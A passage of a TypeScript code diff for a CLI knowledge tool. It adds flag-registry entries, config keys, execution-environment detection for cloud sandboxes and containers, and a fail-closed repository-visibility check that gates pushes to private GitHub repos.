'repair-jsonb': ['--background', '--brain', '--brain-wide-max-cost-usd', '--dry-run', '--explain', '--fast', '--follow', '--force', '--from-pages', '--help', '--http', '--json', '--lang', '--markdown', '--multimodal', '--near-symbol', '--no-embedding', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--restore-only', '--source', '--stale', '--supabase', '--surface', '--symbol-kind', '--thin', '--timeout', '--url'],
|
||||
'report': ['--brain', '--content', '--dir', '--help', '--json', '--source', '--title', '--type'],
|
||||
'repos': ['--abbrev-ref', '--abort', '--aliases', '--all', '--all-sources', '--allow-unverified-remote', '--brain', '--branch', '--break-lock', '--cached', '--clone-dir', '--compile', '--confirm-destructive', '--count', '--detect', '--diff-filter', '--dry-run', '--exclude-standard', '--explain', '--fast', '--federated', '--file', '--fix', '--force', '--force-break-lock', '--format', '--from-pages', '--full', '--get', '--git-dir', '--github-repo', '--help', '--http', '--include-null-signature', '--include-warns', '--jq', '--json', '--keep-storage', '--lang', '--local', '--markdown', '--max-age', '--max-cost-usd', '--message', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--no-cron', '--no-embedding', '--no-extract', '--no-federate', '--no-federated', '--no-harden', '--no-verify', '--others', '--params', '--pat-file', '--path', '--pattern', '--pending', '--porcelain', '--push-only', '--quiet', '--rebase', '--repo', '--reset', '--resolve', '--restore-only', '--secret', '--set', '--short', '--show-toplevel', '--source', '--source-id', '--stale', '--status', '--strategy', '--supersessions', '--surface', '--symbol-kind', '--thin', '--unset-all', '--url', '--url-managed', '--yes'],
|
||||
'repos': ['--abbrev-ref', '--abort', '--aliases', '--all', '--all-sources', '--allow-unverified-remote', '--brain', '--branch', '--break-lock', '--cached', '--clone-dir', '--compile', '--confirm-destructive', '--count', '--detect', '--diff-filter', '--dry-run', '--exclude-standard', '--explain', '--fast', '--federated', '--file', '--fix', '--force', '--force-break-lock', '--format', '--from-pages', '--full', '--get', '--git-dir', '--git-path', '--github-repo', '--help', '--http', '--include-null-signature', '--include-warns', '--is-inside-work-tree', '--json', '--keep-storage', '--lang', '--local', '--markdown', '--max-age', '--max-cost-usd', '--message', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--no-cron', '--no-embedding', '--no-extract', '--no-federate', '--no-federated', '--no-harden', '--no-verify', '--others', '--params', '--pat-file', '--path', '--pattern', '--pending', '--porcelain', '--push-only', '--quiet', '--rebase', '--repo', '--reset', '--resolve', '--restore-only', '--secret', '--set', '--short', '--show-toplevel', '--source', '--source-id', '--stale', '--status', '--strategy', '--supersessions', '--surface', '--symbol-kind', '--thin', '--unset-all', '--url', '--url-managed', '--yes'],
|
||||
'resolvers': ['--auto', '--backend', '--brain', '--cost', '--help', '--json', '--source'],
|
||||
'retrieval-upgrade': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--explain', '--fast', '--follow', '--force', '--from-pages', '--help', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--markdown', '--model', '--multimodal', '--name', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--pattern', '--pending', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranking', '--reset', '--resolve', '--resume', '--slugs', '--source', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--to', '--undo', '--version', '--yes'],
|
||||
'routing-eval': ['--brain', '--fix', '--help', '--json', '--llm', '--skills-dir', '--source', '--strict', '--verbose'],
|
||||
@@ -95,7 +95,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'skillpack': ['--all', '--apply-clean-hunks', '--author', '--brain', '--dry-run', '--exit-code', '--fast', '--fix', '--force', '--force-unlock', '--format', '--from', '--from-pages', '--frontmatter', '--full', '--help', '--homepage', '--http', '--json', '--license', '--list', '--minimal', '--name-only', '--no-cache', '--no-embedding', '--no-lint', '--note', '--out', '--overwrite-local', '--push', '--quick', '--quiet', '--refresh', '--repo', '--schema-pack', '--short', '--since', '--skills-dir', '--skip-doctor', '--source', '--strict', '--surface', '--target', '--tier', '--trust', '--url', '--verbose', '--verify', '--workspace', '--yes'],
|
||||
'skillpack-check': ['--background', '--brain', '--brain-wide-max-cost-usd', '--explain', '--fast', '--follow', '--help', '--json', '--list', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--source', '--stale', '--strict', '--timeout', '--yes'],
|
||||
'smoke-test': ['--brain', '--help', '--json', '--source'],
|
||||
'sources': ['--abbrev-ref', '--abort', '--aliases', '--all', '--all-sources', '--allow-unverified-remote', '--brain', '--branch', '--break-lock', '--cached', '--clone-dir', '--compile', '--confirm-destructive', '--count', '--detect', '--diff-filter', '--dry-run', '--exclude-standard', '--explain', '--fast', '--federated', '--file', '--fix', '--force', '--force-break-lock', '--format', '--from-pages', '--full', '--get', '--git-dir', '--github-repo', '--help', '--http', '--include-null-signature', '--include-warns', '--jq', '--json', '--keep-storage', '--lang', '--local', '--markdown', '--max-age', '--max-cost-usd', '--message', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--no-cron', '--no-embedding', '--no-extract', '--no-federate', '--no-federated', '--no-harden', '--no-verify', '--others', '--params', '--pat-file', '--path', '--pattern', '--pending', '--porcelain', '--push-only', '--quiet', '--rebase', '--repo', '--reset', '--resolve', '--restore-only', '--secret', '--set', '--short', '--show-toplevel', '--source', '--source-id', '--stale', '--status', '--strategy', '--supersessions', '--surface', '--symbol-kind', '--thin', '--unset-all', '--url', '--url-managed', '--yes'],
|
||||
'sources': ['--abbrev-ref', '--abort', '--aliases', '--all', '--all-sources', '--allow-unverified-remote', '--brain', '--branch', '--break-lock', '--cached', '--clone-dir', '--compile', '--confirm-destructive', '--count', '--detect', '--diff-filter', '--dry-run', '--exclude-standard', '--explain', '--fast', '--federated', '--file', '--fix', '--force', '--force-break-lock', '--format', '--from-pages', '--full', '--get', '--git-dir', '--git-path', '--github-repo', '--help', '--http', '--include-null-signature', '--include-warns', '--is-inside-work-tree', '--json', '--keep-storage', '--lang', '--local', '--markdown', '--max-age', '--max-cost-usd', '--message', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--no-cron', '--no-embedding', '--no-extract', '--no-federate', '--no-federated', '--no-harden', '--no-verify', '--others', '--params', '--pat-file', '--path', '--pattern', '--pending', '--porcelain', '--push-only', '--quiet', '--rebase', '--repo', '--reset', '--resolve', '--restore-only', '--secret', '--set', '--short', '--show-toplevel', '--source', '--source-id', '--stale', '--status', '--strategy', '--supersessions', '--surface', '--symbol-kind', '--thin', '--unset-all', '--url', '--url-managed', '--yes'],
|
||||
'status': ['--abbrev-ref', '--abi', '--abort', '--aliases', '--all', '--all-sources', '--allow-empty', '--apply', '--asof', '--auto', '--background', '--batch-size', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--brain-wide-max-cost-usd', '--branch', '--break-lock', '--budget-usd-per-day', '--by-mention', '--cached', '--catch-up', '--clone-dir', '--code', '--column', '--compile', '--concurrency', '--confirm-destructive', '--content', '--content-audit', '--count', '--date', '--days', '--deadline-ms', '--depth', '--detach', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--empty', '--entities', '--exclude', '--exclude-standard', '--explain', '--fast', '--federated', '--ff-only', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--force-rechunk', '--force-retry', '--force-schema', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--git-path', '--hard-deadline', '--help', '--http', '--image', '--include-flagged', '--include-frontmatter', '--include-gitignored', '--include-null-signature', '--index-audit', '--infer-dates', '--install', '--interval', '--is-ancestor', '--json', '--judge-model', '--kind', '--lang', '--limit', '--lock', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-runtime', '--max-sources', '--max-usd', '--mcp-only', '--migrate-only', '--min-context', '--missing-path', '--mode', '--model', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--ner', '--nice', '--no', '--no-auto-embed', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-gpg-sign', '--no-hard-deadline', '--no-pull', '--no-recurse-submodules', '--no-renames', '--no-schema-pack', '--no-verify', '--object-format', '--offset', '--older-than', '--order', '--orphan', '--others', '--overwrite', '--pace', '--pace-max-concurrency', '--pack', '--parallel', '--params', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--prefix', '--priority', '--progress-interval', '--progress-json', '--query', '--queue', '--quiet', '--rebase', '--rebuild-rollup', '--reenrich-after', '--refresh', '--regenerate', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--respect-gitignore', '--restore-only', '--resume', '--retry-failed', '--run-id', '--save', '--scope', '--scopes', '--section', '--serial', '--session', '--session-id', '--short', '--show-toplevel', '--since', '--skills-dir', '--skip-failed', '--slug', '--slugs', '--source', '--source-id', '--src-subpath', '--stale', '--stats', '--status', '--stdin', '--strategy', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--thin-threshold', '--timeout', '--to', '--top-k', '--trusted-extraction', '--type', '--types', '--url', '--url-managed', '--verbose', '--verify', '--version', '--watch', '--what', '--where', '--who', '--window', '--with-db', '--workers', '--yes'],
|
||||
'storage': ['--aliases', '--all', '--brain', '--federated', '--fix', '--help', '--include-null-signature', '--json', '--no-extract', '--no-federated', '--path', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--restore-only', '--source', '--stale', '--supersessions', '--thin', '--to'],
|
||||
'sweep': ['--aliases', '--all', '--batch-limit', '--brain', '--budget-ms', '--help', '--include-null-signature', '--json', '--no-extract', '--once', '--pattern', '--pending', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--thin', '--timeout'],
|
||||
|
||||
@@ -27,6 +27,10 @@ function getConfigPath() { return configPath(); }
|
||||
|
||||
export interface GBrainConfig {
|
||||
engine: 'postgres' | 'pglite';
|
||||
/** File-plane hook-lane keys (read by engine-free hook/push children).
|
||||
* `gbrain config set` routes these two dotted keys here, not to the DB. */
|
||||
push?: { allow_unverified_remote?: boolean };
|
||||
hooks?: { stop_push_debounce_min?: number | string };
|
||||
database_url?: string;
|
||||
database_path?: string;
|
||||
openai_api_key?: string;
|
||||
@@ -984,6 +988,10 @@ export const KNOWN_CONFIG_KEYS: readonly string[] = [
|
||||
'agent.use_gateway_loop',
|
||||
// #2778: per-turn output-token cap for the subagent loop (default 8192).
|
||||
'agent.max_output_tokens',
|
||||
// File-plane bootstrap hook-lane keys (routed to ~/.gbrain/config.json by
|
||||
// `config set` — engine-free hook/push children read loadConfigFileOnly).
|
||||
'push.allow_unverified_remote',
|
||||
'hooks.stop_push_debounce_min',
|
||||
// DB-plane (v0.32.3 search modes + related)
|
||||
'search.mode',
|
||||
'search.cache.enabled',
|
||||
|
||||
@@ -152,6 +152,7 @@ export const OPS_CHECK_NAMES: ReadonlySet<string> = new Set([
|
||||
'bootstrap_hooks_heartbeat',
|
||||
'bootstrap_last_verify',
|
||||
'bootstrap_push_health',
|
||||
'bootstrap_durability_job',
|
||||
'bootstrap_runbook_skew',
|
||||
'bootstrap_serve_lock',
|
||||
'batch_retry_health',
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
/**
|
||||
* Execution-environment detection — the third bootstrap axis.
|
||||
*
|
||||
* `detectHarness` (bootstrap.ts) answers WHICH AGENT HOST (claude-code vs
|
||||
* codex). This module answers WHERE THAT HOST IS RUNNING:
|
||||
*
|
||||
* - `cloud-sandbox` → a hosted, reclaimed-after-inactivity VM behind a
|
||||
* credential-injecting egress proxy (Claude Code on
|
||||
* the web and lookalikes). No crontab, no surviving
|
||||
* background processes; GitHub REST is scoped to
|
||||
* session-attached repos and GraphQL is pinned to a
|
||||
* fixed operation set.
|
||||
* - `ephemeral-container` → Docker/Render/Railway/Fly-class containers.
|
||||
* Long-lived enough for normal hook cadence, but
|
||||
* schedulers (crontab/launchd) are unreliable or
|
||||
* absent (wiped on deploy).
|
||||
* - `local` → a normal machine. Everything works.
|
||||
*
|
||||
* Consumers branch persistence strategy (cron install vs event-driven pushes),
|
||||
* push-cadence defaults, and error messaging on this value. Detection is pure
|
||||
* and signal-injected so tests never depend on the machine running them.
|
||||
*/
|
||||
import { existsSync } from 'node:fs';
|
||||
|
||||
export type ExecutionEnvironment = 'local' | 'cloud-sandbox' | 'ephemeral-container';
|
||||
|
||||
/** Injectable probe signals (production defaults: process.env + existsSync). */
|
||||
export interface EnvProbeSignals {
|
||||
env?: Record<string, string | undefined>;
|
||||
fileExists?: (p: string) => boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* True when outbound credentials are substituted by a proxy rather than held
|
||||
* locally — the Claude Code cloud signature. Signals (any one suffices):
|
||||
*
|
||||
* - GH_TOKEN / GITHUB_TOKEN carry the documented literal `proxy-injected`
|
||||
* placeholder (the proxy attaches real credentials on the wire).
|
||||
* - The https proxy URL carries an anthropic-egress-control JWT.
|
||||
*
|
||||
* Load-bearing caveat for verification code: inside such an environment an
|
||||
* "anonymous" HTTP probe may be silently authenticated by the proxy, so
|
||||
* anonymous-probe results must be treated as ambiguous (see repo-visibility).
|
||||
*/
|
||||
export function isCredentialInjectingProxy(
|
||||
env: Record<string, string | undefined> = process.env,
|
||||
): boolean {
|
||||
if (env.GH_TOKEN === 'proxy-injected' || env.GITHUB_TOKEN === 'proxy-injected') return true;
|
||||
const proxy = env.https_proxy ?? env.HTTPS_PROXY ?? '';
|
||||
return /anthropic-egress/i.test(proxy);
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect where this process is running. Order matters: the cloud sandbox is
|
||||
* ALSO a container, so its signals are checked first.
|
||||
*
|
||||
* 1. `CLAUDE_CODE_REMOTE === 'true'` — official, never true locally.
|
||||
* 2. `CLAUDE_CODE_REMOTE_SESSION_ID` with the documented `cse_` prefix.
|
||||
* 3. A credential-injecting proxy signature (see above).
|
||||
* 4. Container platforms: RENDER / RAILWAY_ENVIRONMENT / FLY_APP_NAME env,
|
||||
* or the /.dockerenv marker file (same signal set autopilot's
|
||||
* detectInstallTarget has used for its ephemeral branch).
|
||||
* 5. Otherwise: local.
|
||||
*/
|
||||
export function detectExecutionEnvironment(signals: EnvProbeSignals = {}): ExecutionEnvironment {
|
||||
const env = signals.env ?? process.env;
|
||||
const fileExists = signals.fileExists ?? existsSync;
|
||||
if (env.CLAUDE_CODE_REMOTE === 'true') return 'cloud-sandbox';
|
||||
if ((env.CLAUDE_CODE_REMOTE_SESSION_ID ?? '').startsWith('cse_')) return 'cloud-sandbox';
|
||||
if (isCredentialInjectingProxy(env)) return 'cloud-sandbox';
|
||||
if (
|
||||
env.RENDER ||
|
||||
env.RAILWAY_ENVIRONMENT ||
|
||||
env.FLY_APP_NAME ||
|
||||
fileExists('/.dockerenv')
|
||||
) {
|
||||
return 'ephemeral-container';
|
||||
}
|
||||
return 'local';
|
||||
}
|
||||
|
||||
/** Whether `name` resolves on PATH. Moved here from bootstrap/status.ts so
|
||||
* environment-aware code (cron install, preflight) shares one probe. The
|
||||
* LIVE process.env.PATH is passed explicitly: Bun otherwise resolves against
|
||||
* the startup env snapshot, making runtime PATH changes (and PATH-shimmed
|
||||
* test fakes) invisible — the workspace-push.ts / status.ts precedent. */
|
||||
export function binaryOnPath(name: string): boolean {
|
||||
try {
|
||||
return Bun.which(name, { PATH: process.env.PATH ?? '' }) !== null;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -393,7 +393,7 @@ export function hasTrackedContent(path: string): boolean {
|
||||
* transport. Default stays `never`. These ops act on an ALREADY-validated origin
|
||||
* (set + checked at clone time); `http.followRedirects=false` is the live guard.
|
||||
*/
|
||||
function durableSsrfFlags(): string[] {
|
||||
export function durableSsrfFlags(): string[] {
|
||||
const fileAllow = process.env.GBRAIN_GIT_ALLOW_FILE_TRANSPORT === '1' ? 'always' : 'never';
|
||||
return [
|
||||
'-c', 'http.followRedirects=false',
|
||||
|
||||
@@ -0,0 +1,449 @@
|
||||
/**
|
||||
* repo-visibility.ts — ONE repo-visibility verdict for every consumer
|
||||
* (workspace-push gate [G8], bootstrap repo/verify/status probes), replacing
|
||||
* three drifted probes (TODOS ~5097). Engine-free; every IO seam injectable.
|
||||
*
|
||||
* Why a ladder and not one gh call: the previous probe (`gh repo view`, a
|
||||
* GraphQL call) is structurally unavailable in cloud sandboxes — their GitHub
|
||||
* proxy pins GraphQL to a fixed operation set and 403s everything else, even
|
||||
* with a user-supplied token — which silently converted every hook push into
|
||||
* `refused_visibility`. REST is the sanctioned surface, and pure git protocol
|
||||
* works anywhere `git push` works.
|
||||
*
|
||||
* rung 1 REST `gh api repos/{owner}/{repo}` → .private (github.com)
|
||||
* rung 2 authed `git ls-remote <url> HEAD` → exists + readable
|
||||
* rung 3 anon GET <repo>/info/refs?service=git-upload-pack, no auth
|
||||
*
|
||||
* Verdict matrix (fail-closed BOTH directions — see [D4]/[D14] below):
|
||||
* rest true → private/rest
|
||||
* rest false → public/rest (refuse)
|
||||
* rung2 ok + rung3 attributed 401 → private/git-protocol
|
||||
* rung2 ok + rung3 proven 200 → public/git-protocol (refuse) — unless a
|
||||
* credential-injecting proxy makes the
|
||||
* "anonymous" probe ambiguous → unverifiable
|
||||
* anything else → unverifiable (refuse, with rung log)
|
||||
*
|
||||
* [D4] A 200 counts as PUBLIC only with advertisement proof (content-type
|
||||
* `application/x-git-upload-pack-advertisement` or the pkt-line body
|
||||
* prefix). SSO-fronted self-hosted servers answer 200 with an HTML
|
||||
* login page — that must read `unverifiable`, never a false "PUBLIC".
|
||||
* [D14] A 401/404 counts as PRIVATE-signal only with origin attribution
|
||||
* (`www-authenticate` challenge; github.com additionally recognized by
|
||||
* realm/request-id headers). The private verdict AUTHORIZES pushing, so
|
||||
* an auth-demanding middlebox that 401s all anonymous traffic must not
|
||||
* launder a public repo into "private".
|
||||
*/
|
||||
|
||||
import { mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { ensureGbrainHome } from './gbrain-home.ts';
|
||||
import { durableSsrfFlags } from './git-remote.ts';
|
||||
import { isCredentialInjectingProxy } from './execution-env.ts';
|
||||
|
||||
// ── Subprocess seam (canonical home; bootstrap/repo.ts re-exports) ─────────
|
||||
|
||||
export interface ExecResult {
|
||||
code: number;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
}
|
||||
|
||||
/** Injectable subprocess seam. argv[0] is the binary; never a shell string. */
|
||||
export type ExecRunner = (argv: string[]) => Promise<ExecResult>;
|
||||
|
||||
/** Default runner: Bun.spawn, both streams piped, spawn failure → code 127.
|
||||
* GIT_TERMINAL_PROMPT=0 so an unauthenticated git can never hang on a prompt. */
|
||||
export const defaultRunner: ExecRunner = async (argv: string[]): Promise<ExecResult> => {
|
||||
try {
|
||||
const proc = Bun.spawn(argv, {
|
||||
stdout: 'pipe',
|
||||
stderr: 'pipe',
|
||||
stdin: 'ignore',
|
||||
env: { ...process.env, GIT_TERMINAL_PROMPT: '0' },
|
||||
});
|
||||
const [stdout, stderr, code] = await Promise.all([
|
||||
new Response(proc.stdout).text(),
|
||||
new Response(proc.stderr).text(),
|
||||
proc.exited,
|
||||
]);
|
||||
return { code, stdout, stderr };
|
||||
} catch (e) {
|
||||
return { code: 127, stdout: '', stderr: (e as Error).message };
|
||||
}
|
||||
};
|
||||
|
||||
/** Race a runner call against a wall-clock cap. On timeout the rung reports
|
||||
* code 124 and the ladder degrades — a hung network probe must never hang a
|
||||
* push child. (The raced process is left to die on its own; every rung's
|
||||
* default runner disables interactive prompts, so hangs are network-bound.) */
|
||||
async function runWithTimeout(runner: ExecRunner, argv: string[], ms: number): Promise<ExecResult> {
|
||||
let timer: ReturnType<typeof setTimeout> | undefined;
|
||||
const timeout = new Promise<ExecResult>((resolve) => {
|
||||
timer = setTimeout(() => resolve({ code: 124, stdout: '', stderr: `timeout after ${ms}ms` }), ms);
|
||||
});
|
||||
try {
|
||||
return await Promise.race([runner(argv), timeout]);
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Canonical remote-URL parser (union of the three prior grammars) ────────
|
||||
|
||||
/**
|
||||
* Parse `{owner, repo}` from a github.com remote URL. Accepts the https form
|
||||
* (with or without `.git` / trailing slash), the scp-like form
|
||||
* (`git@github.com:o/r`), and `ssh://git@github.com/o/r`.
|
||||
*/
|
||||
export function parseGithubOwnerRepo(url: string): { owner: string; repo: string } | null {
|
||||
const s = url.trim();
|
||||
let m = /^https:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?\/?$/.exec(s);
|
||||
if (!m) m = /^(?:ssh:\/\/)?git@github\.com[:/]([^/]+)\/([^/]+?)(?:\.git)?\/?$/.exec(s);
|
||||
return m ? { owner: m[1]!, repo: m[2]! } : null;
|
||||
}
|
||||
|
||||
/** Convenience: the combined `owner/repo` string, or null. */
|
||||
export function githubOwnerRepoString(url: string): string | null {
|
||||
const p = parseGithubOwnerRepo(url);
|
||||
return p ? `${p.owner}/${p.repo}` : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The anonymous smart-HTTP probe URL for an https origin, or null when the
|
||||
* origin has no https probe surface (scp/ssh non-github, file paths).
|
||||
* github.com ssh/scp origins are converted to their https equivalent.
|
||||
* URL userinfo is STRIPPED: an origin with embedded credentials would make
|
||||
* the "anonymous" probe authenticated, misreading a private repo as public.
|
||||
*/
|
||||
export function anonProbeUrl(originUrl: string): string | null {
|
||||
const gh = parseGithubOwnerRepo(originUrl);
|
||||
if (gh) return `https://github.com/${gh.owner}/${gh.repo}.git/info/refs?service=git-upload-pack`;
|
||||
const s = originUrl.trim().replace(/\/+$/, '');
|
||||
if (!/^https:\/\//.test(s)) return null;
|
||||
try {
|
||||
const u = new URL(s);
|
||||
u.username = '';
|
||||
u.password = '';
|
||||
return `${u.toString().replace(/\/+$/, '')}/info/refs?service=git-upload-pack`;
|
||||
} catch {
|
||||
return null; // unparseable https-looking string — no probe surface
|
||||
}
|
||||
}
|
||||
|
||||
/** True when a gh stderr/body is a 403 authored by a sandbox egress proxy
|
||||
* (session scoping), as opposed to a real GitHub API 403. One predicate for
|
||||
* the three call sites that must keep the HTTP-403 pre-check and the
|
||||
* classification paired. */
|
||||
export function isProxyBlocked403(text: string): boolean {
|
||||
return /HTTP 403/i.test(text) && classifyGh403(text) === 'proxy';
|
||||
}
|
||||
|
||||
// ── gh 403 classification ───────────────────────────────────────────────────
|
||||
|
||||
export type Gh403Class = 'github' | 'proxy' | 'unknown';
|
||||
|
||||
/**
|
||||
* Classify a 403 body/stderr: a real GitHub API error is JSON carrying
|
||||
* `message` + `documentation_url`; sandbox egress proxies answer with
|
||||
* text/plain or non-GitHub JSON ("not enabled for this session",
|
||||
* x-deny-reason). The class steers the user message — "attach the repo to
|
||||
* this session" vs "check your token" — and MUST NOT gate the verdict.
|
||||
*/
|
||||
export function classifyGh403(body: string): Gh403Class {
|
||||
const jsonStart = body.indexOf('{');
|
||||
if (jsonStart >= 0) {
|
||||
try {
|
||||
const parsed = JSON.parse(body.slice(jsonStart)) as Record<string, unknown>;
|
||||
if (typeof parsed.message === 'string') {
|
||||
if ('documentation_url' in parsed) return 'github';
|
||||
return 'proxy'; // JSON error without GitHub's shape — proxy-authored
|
||||
}
|
||||
} catch {
|
||||
/* not JSON → fall through */
|
||||
}
|
||||
}
|
||||
if (/not enabled for this session|x-deny-reason|host_not_allowed|access denied by the .*proxy/i.test(body)) {
|
||||
return 'proxy';
|
||||
}
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
// ── The ladder ──────────────────────────────────────────────────────────────
|
||||
|
||||
export type VisibilityVia = 'rest' | 'git-protocol';
|
||||
|
||||
export interface RungResult {
|
||||
rung: 'rest' | 'authed-ls-remote' | 'anon-refs';
|
||||
outcome: string;
|
||||
}
|
||||
|
||||
export type RepoVisibilityVerdict =
|
||||
| { verdict: 'private'; via: VisibilityVia; detail: string; rungs: RungResult[] }
|
||||
| { verdict: 'public'; via: VisibilityVia; detail: string; rungs: RungResult[] }
|
||||
| { verdict: 'unverifiable'; detail: string; rungs: RungResult[] };
|
||||
|
||||
export interface VerifyRepoVisibilityOpts {
|
||||
originUrl: string;
|
||||
/** Run git with this repo's config (credential helpers). Recommended. */
|
||||
repoDir?: string;
|
||||
runner?: ExecRunner;
|
||||
fetchImpl?: typeof fetch;
|
||||
/** Environment for the proxy-signature check (default process.env). */
|
||||
env?: Record<string, string | undefined>;
|
||||
/** Per-rung wall-clock cap (default 15s). */
|
||||
timeoutMs?: number;
|
||||
}
|
||||
|
||||
const ADVERTISEMENT_CONTENT_TYPE = 'application/x-git-upload-pack-advertisement';
|
||||
/** pkt-line advertisement prefix: 4 hex length digits then the service line. */
|
||||
const ADVERTISEMENT_BODY_RE = /^[0-9a-f]{4}# service=git-upload-pack/;
|
||||
|
||||
function rungLog(rungs: RungResult[]): string {
|
||||
return rungs.map((r) => `${r.rung}: ${r.outcome}`).join('; ');
|
||||
}
|
||||
|
||||
/** The actionable line for proxy-ambiguous / unverifiable outcomes. Spelled
|
||||
* once so push, verify, and status degrade with the same instruction. */
|
||||
export const UNVERIFIED_REMOTE_HINT =
|
||||
'confirm the repo is private in the GitHub UI, then set GBRAIN_ALLOW_UNVERIFIED_REMOTE=1 ' +
|
||||
'(or `gbrain config set push.allow_unverified_remote true`) to push anyway';
|
||||
|
||||
export async function verifyRepoVisibility(opts: VerifyRepoVisibilityOpts): Promise<RepoVisibilityVerdict> {
|
||||
const runner = opts.runner ?? defaultRunner;
|
||||
const fetchImpl = opts.fetchImpl ?? fetch;
|
||||
const env = opts.env ?? process.env;
|
||||
const timeoutMs = opts.timeoutMs ?? 15_000;
|
||||
const rungs: RungResult[] = [];
|
||||
const url = opts.originUrl.trim();
|
||||
const gh = parseGithubOwnerRepo(url);
|
||||
|
||||
// Rung 1 — REST (github.com origins only). NEVER GraphQL: `gh repo view`
|
||||
// rides GraphQL, which cloud proxies pin to a fixed operation set.
|
||||
if (gh) {
|
||||
const res = await runWithTimeout(runner, ['gh', 'api', `repos/${gh.owner}/${gh.repo}`, '--jq', '.private'], timeoutMs);
|
||||
const out = res.stdout.trim();
|
||||
if (res.code === 0 && out === 'true') {
|
||||
rungs.push({ rung: 'rest', outcome: 'private' });
|
||||
return { verdict: 'private', via: 'rest', detail: `${gh.owner}/${gh.repo} verified private via REST`, rungs };
|
||||
}
|
||||
if (res.code === 0 && out === 'false') {
|
||||
rungs.push({ rung: 'rest', outcome: 'public' });
|
||||
return { verdict: 'public', via: 'rest', detail: `${gh.owner}/${gh.repo} is PUBLIC (REST)`, rungs };
|
||||
}
|
||||
if (res.code === 127) {
|
||||
rungs.push({ rung: 'rest', outcome: 'gh not installed' });
|
||||
} else if (/HTTP 403/i.test(res.stderr)) {
|
||||
rungs.push({
|
||||
rung: 'rest',
|
||||
outcome: isProxyBlocked403(res.stderr)
|
||||
? 'blocked by an egress proxy (repo not attached to this session) — falling back to git protocol'
|
||||
: `403 (${classifyGh403(res.stderr)}) — falling back to git protocol`,
|
||||
});
|
||||
} else {
|
||||
rungs.push({ rung: 'rest', outcome: `failed (${(res.stderr.trim() || `exit ${res.code}`).slice(0, 120)})` });
|
||||
}
|
||||
} else {
|
||||
rungs.push({ rung: 'rest', outcome: 'not a github.com origin — skipped' });
|
||||
}
|
||||
|
||||
// Rung 2 — authed existence: the repo's own credential config answers
|
||||
// "does this origin exist and can OUR credentials read it". Hardened like
|
||||
// every other remote-touching git call: SSRF config flags (no ext helpers,
|
||||
// no redirect-follow, file transport only behind the test/self-hosted env
|
||||
// escape) and end-of-options so a dash-prefixed origin can never be parsed
|
||||
// as an option (the upload-pack command-execution class).
|
||||
const lsArgv = [
|
||||
'git',
|
||||
...(opts.repoDir ? ['-C', opts.repoDir] : []),
|
||||
...durableSsrfFlags(),
|
||||
'ls-remote',
|
||||
'--end-of-options',
|
||||
url,
|
||||
'HEAD',
|
||||
];
|
||||
const ls = await runWithTimeout(runner, lsArgv, timeoutMs);
|
||||
if (ls.code !== 0) {
|
||||
rungs.push({ rung: 'authed-ls-remote', outcome: `failed (${(ls.stderr.trim() || `exit ${ls.code}`).slice(0, 120)})` });
|
||||
return {
|
||||
verdict: 'unverifiable',
|
||||
detail: `origin not readable with current credentials — a push would fail anyway (${rungLog(rungs)})`,
|
||||
rungs,
|
||||
};
|
||||
}
|
||||
rungs.push({ rung: 'authed-ls-remote', outcome: 'ok (exists + readable)' });
|
||||
|
||||
// Rung 3 — anonymous probe.
|
||||
const probeUrl = anonProbeUrl(url);
|
||||
if (!probeUrl) {
|
||||
rungs.push({ rung: 'anon-refs', outcome: 'no https probe surface for this origin' });
|
||||
return { verdict: 'unverifiable', detail: `origin readable but privacy unprovable (${rungLog(rungs)}) — ${UNVERIFIED_REMOTE_HINT}`, rungs };
|
||||
}
|
||||
let status = 0;
|
||||
let contentType = '';
|
||||
let wwwAuthenticate = '';
|
||||
let githubAttributed = false;
|
||||
let bodyPrefix = '';
|
||||
try {
|
||||
const ctl = new AbortController();
|
||||
const timer = setTimeout(() => ctl.abort(), timeoutMs);
|
||||
try {
|
||||
// redirect: manual — a redirected probe proves nothing about THIS origin
|
||||
// (and following it would extend the request surface); 3xx falls through
|
||||
// to the unexpected-status arm → unverifiable, fail-closed.
|
||||
const res = await fetchImpl(probeUrl, { redirect: 'manual', signal: ctl.signal });
|
||||
status = res.status;
|
||||
contentType = res.headers.get('content-type') ?? '';
|
||||
